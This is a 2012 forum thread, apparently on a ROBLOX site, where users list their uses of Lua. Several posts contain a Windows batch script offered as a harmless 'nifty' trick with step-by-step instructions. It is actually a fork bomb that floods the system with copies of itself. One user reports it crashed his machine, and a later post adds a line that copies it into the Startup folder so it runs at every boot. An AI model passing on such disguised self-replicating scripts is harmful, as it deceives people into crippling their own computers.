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Re: Anyone use Lua outside of ROBLOX/other games?

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elementskater77 is not online. elementskater77
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15 Sep 2012 12:14 AM
I like to make little nifty scripts for various things (Lua for Windows btw), mainly because it's so easy to work with :3
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thek00lkid is not online. thek00lkid
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15 Sep 2012 12:21 AM
I like to make batch files in my spare time, when I'm really bored...

1. Type this in on notepad!

echo off

color 0C

echo Isn't this a wonderful?

:This
Start "Program" /MAX /HIGH /I /Program.bat
goto This

2. Save as: Program.bat

It won't work if saved as otherwise.

3. Enjoy! :3

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stravant is not online. stravant
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15 Sep 2012 12:43 AM
There's always the Corona SDK which also uses Lua, and in and object oriented style like Roblox. There's probably a few people here who've played with that.
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Ferretguy is not online. Ferretguy
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15 Sep 2012 02:34 AM
On one of my high school FRC teams, we programmed the bot using Lua.
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jobro13 is not online. jobro13
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15 Sep 2012 04:27 AM
I use Lua for almost everything. Most for school projects tough. All those noobs at school are doing 1 hour for processing their data. I write script (2 min) then put in data (copy and paste) and hit execute. Ah. There is my data.

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SN0X is not online. SN0X
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15 Sep 2012 07:03 AM
I do.

I use wLua to make windowed applications, and pure Lua to do single processes such as creating a file and giving it a special content, and the Lua command line to do quick calculations and tests.
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chickenman158 is not online. chickenman158
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15 Sep 2012 11:00 AM
I use Lua in game engines.
It is a shame to use it anywhere else IMHO, simply because in my experiance.
JavaScript and Python both do better jobs, and they can both be easily interpreted.
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sirsavary is not online. sirsavary
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15 Sep 2012 12:20 PM
In the game engine I wrote I wadded Lua scripting so my team members who dont program can still help. FOr everything else (Little applications etc etc) I use AHK.
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jode6543 is not online. jode6543
Joined: 16 Jun 2009
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15 Sep 2012 02:06 PM
I had plans to use Lua as the scripting language for my game engine. I might abandon that, though.
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su8 is not online. su8
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15 Sep 2012 02:07 PM
why is everybody abusing word 'engine'
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popinman322 is not online. popinman322
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15 Sep 2012 02:32 PM
@su8

don't u liek mah forim enjin?


@OP

I used it as a replacement for shell scripting, but it's become obvious to me that Ruby is better suited to that task.

OT: Java -> Compiled bytecode -> XML -> Lua?
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RA2lover is not online. RA2lover
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15 Sep 2012 03:06 PM
I use it on RigidChips - a japanese panekit pseudoclone.

if anybody also plays it feel free to message me - it's english speaking playerbase is rather small
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zars15 is not online. zars15
Joined: 10 Nov 2008
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15 Sep 2012 03:22 PM
I rofl at my self, for being st00pid and trying out k00ls batch.. Like i should really check parameters for commands, if i don't know what they do...
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SN0X is not online. SN0X
Joined: 24 Oct 2011
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15 Sep 2012 03:43 PM
^
I almost did, but then I outsmarted him.

Did it crash your computer or did it just slow it down?
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zars15 is not online. zars15
Joined: 10 Nov 2008
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15 Sep 2012 03:55 PM
It slowly made it crash.. Well idk if it acctualy crashed, but i restarted comp for sake of safety x3 Anyway starting up comp is slow now... Oh and his code was broken, and i fixed it, so that means i literary crashed by self...
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thek00lkid is not online. thek00lkid
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15 Sep 2012 06:14 PM
XD
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zars15 is not online. zars15
Joined: 10 Nov 2008
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15 Sep 2012 06:18 PM
Atleast now i found out that there is simple command "color" to change color of prompt. :D
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thek00lkid is not online. thek00lkid
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15 Sep 2012 06:24 PM
Another cool trick: this one won't harm your computer, in any way.

1. Go on: Control Panel > Programs > Turn Windows features on or off

Then, enable 'Telnet Client'

2. Open up the command prompt.

3. Type in:

Telnet towel.blinkenlights.nl


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zars15 is not online. zars15
Joined: 10 Nov 2008
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15 Sep 2012 06:27 PM
I've always been to lazy to watch whole thing, but yeah... Great job nerds, who made that. :D
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thek00lkid is not online. thek00lkid
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15 Sep 2012 06:38 PM
I don't think anyone has seen the entire thing, lol.
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LPGhatguy is not online. LPGhatguy
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15 Sep 2012 07:02 PM
Lua in LÖVE for games, and Lua for Windows for small utilityies (batch file renaming, batch data parsing/converting, etc.)
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SN0X is not online. SN0X
Joined: 24 Oct 2011
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16 Sep 2012 02:11 AM
@zar,

Now set it to auto run.

@some guy but i forgot your name (sorry!),

"On one of my high school FRC teams, we programmed the bot using Lua."

What?

FRC team?

Bot?

im jelly and i dont even know what you mean. This better be good.
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zars15 is not online. zars15
Joined: 10 Nov 2008
Total Posts: 9999
16 Sep 2012 05:36 AM
@sn0x.


echo off

color 0C

move Program.bat "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

echo Isn't this a wonderful?

:This
Start "Program" /MAX /HIGH /I Program.bat
goto This
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SN0X is not online. SN0X
Joined: 24 Oct 2011
Total Posts: 7277
16 Sep 2012 06:14 AM
'tis fnny
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stellabear1 is not online. stellabear1
Joined: 09 Feb 2009
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16 Sep 2012 10:46 AM
Minecraft mod ComputerCraft supports Lua.

"Bwahahaha, I am not Toph! I am Melonlord!" - Toph Beifong
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